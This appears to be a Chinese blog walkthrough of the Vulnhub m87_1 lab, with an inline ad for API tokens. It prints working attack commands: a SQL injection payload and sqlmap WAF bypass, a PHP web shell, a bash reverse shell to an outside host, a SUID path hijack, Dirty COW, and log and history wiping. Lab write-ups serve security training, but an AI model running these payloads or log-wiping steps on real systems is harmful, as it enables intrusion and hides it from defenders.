1. Vulnhub靶机m87_1渗透实战解析
第一次接触m87_1靶机时,我就被它精妙的设计吸引了。这个靶机模拟了企业环境中常见的Web应用漏洞链,包含从信息收集到权限提升的完整攻击路径。不同于基础靶机的直白漏洞,m87_1需要渗透者像真实攻击者那样思考,通过多个漏洞的组合突破防线。下面我将详细拆解整个渗透过程,重点分享那些官方文档不会告诉你的实战技巧。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 环境准备与初始侦察
2.1 靶机环境配置要点
m87_1需要运行在VirtualBox中(建议6.1.26以上版本),导入时要注意:
- 网络模式必须选择"桥接"或"NAT网络"
- 内存分配建议2GB以上避免卡顿
- 首次启动时按回车进入GRUB菜单,选择恢复模式执行
fsck修复磁盘错误
注意:很多人在此步骤卡住就是因为没处理磁盘错误,导致后续服务异常
2.2 基础信息收集三板斧
使用Kali Linux作为攻击机,首先执行标准侦察流程:
bash复制# 发现靶机IP(假设网段为192.168.1.0/24)
nmap -sn 192.168.1.0/24 -oN host_discovery.txt
# 完整端口扫描(避开防火墙检测技巧)
nmap -sS -sV -T4 -p- --min-rate 1000 --max-retries 2 192.168.1.105
典型扫描结果会显示:
- 22/tcp OpenSSH 7.9p1
- 80/tcp Apache httpd 2.4.38
- 3306/tcp MySQL 5.5.5-10.3.22-MariaDB
3. Web应用渗透实战
3.1 目录爆破与敏感文件发现
使用gobuster时要特别注意参数调优:
bash复制gobuster dir -u http://192.168.1.105 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt -t 50
关键发现:
- /admin.php (后台登录页面)
- /backup.zip (网站源码备份)
- /readme.txt (包含数据库凭据提示)
3.2 SQL注入漏洞利用
在/admin.php发现基于时间的盲注:
sql复制admin' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -
使用sqlmap自动化利用时推荐配置:
bash复制sqlmap -u "http://192.168.1.105/admin.php" --data="username=admin&password=123" --level=5 --risk=3 --technique=T --dbms=mysql --batch
实战经验:遇到WAF时添加
--tamper=space2comment绕过
3.3 文件上传漏洞突破
获取后台权限后,在"主题上传"功能处发现未过滤.php文件:
- 制作图片马:
bash复制echo '<?php system($_GET["cmd"]);?>' > shell.jpg
- 上传后通过路径遍历访问:
code复制http://192.168.1.105/uploads/../../tmp/shell.jpg?cmd=id
4. 权限提升技巧
4.1 数据库到系统提权
通过MySQL UDF提权:
sql复制SELECT sys_exec('bash -c "bash -i >& /dev/tcp/192.168.1.100/4444 0>&1"');
4.2 SUID二进制滥用
发现异常的SUID程序:
bash复制find / -perm -4000 2>/dev/null
利用/usr/bin/custom_backup的路径注入:
bash复制echo '/bin/bash' > /tmp/cat
chmod +x /tmp/cat
export PATH=/tmp:$PATH
/usr/bin/custom_backup
5. 容器逃逸检测与应对
5.1 容器环境识别
检查关键指标:
bash复制ls -al /.dockerenv # 存在则确认容器环境
cat /proc/1/cgroup | grep docker # 查看cgroup信息
5.2 突破容器限制
当发现处于Docker容器中时:
- 检查挂载点:
bash复制mount | grep -i volume
- 利用脏牛漏洞提权:
bash复制gcc -pthread dirty.c -o dirty -lcrypt
./dirty
6. 痕迹清理与报告撰写
6.1 日志清除要点
针对性删除日志记录:
bash复制# 清除Apache日志
echo "" > /var/log/apache2/access.log
# 清除命令历史
history -c && rm ~/.bash_history
6.2 渗透报告核心要素
合格的报告应包含:
- 漏洞链时序图
- 风险等级评估(CVSS评分)
- 修复建议(按优先级排序)
7. 常见问题排错指南
| 问题现象 | 排查步骤 | 解决方案 |
|---|---|---|
| 扫描不到靶机IP | 1. 检查VirtualBox网络模式 2. 确认防火墙规则 |
改用NAT网络模式 禁用kali防火墙 |
| SQL注入不触发 | 1. 检查参数编码 2. 测试WAF规则 |
使用URL编码 添加tamper脚本 |
| 反弹shell失败 | 1. 验证监听端 2. 检查出站规则 |
换用nc监听 尝试其他端口 |
在多次实战中我发现,m87_1靶机最精妙之处在于它模拟了真实网络中的"纵深防御"体系。记得有一次我在容器逃逸后,发现宿主机上还部署了HIDS系统,这迫使我去学习如何绕过基于行为的检测。建议每个想精进渗透技术的人都应该反复挑战这个靶机,每次都会有新的收获。
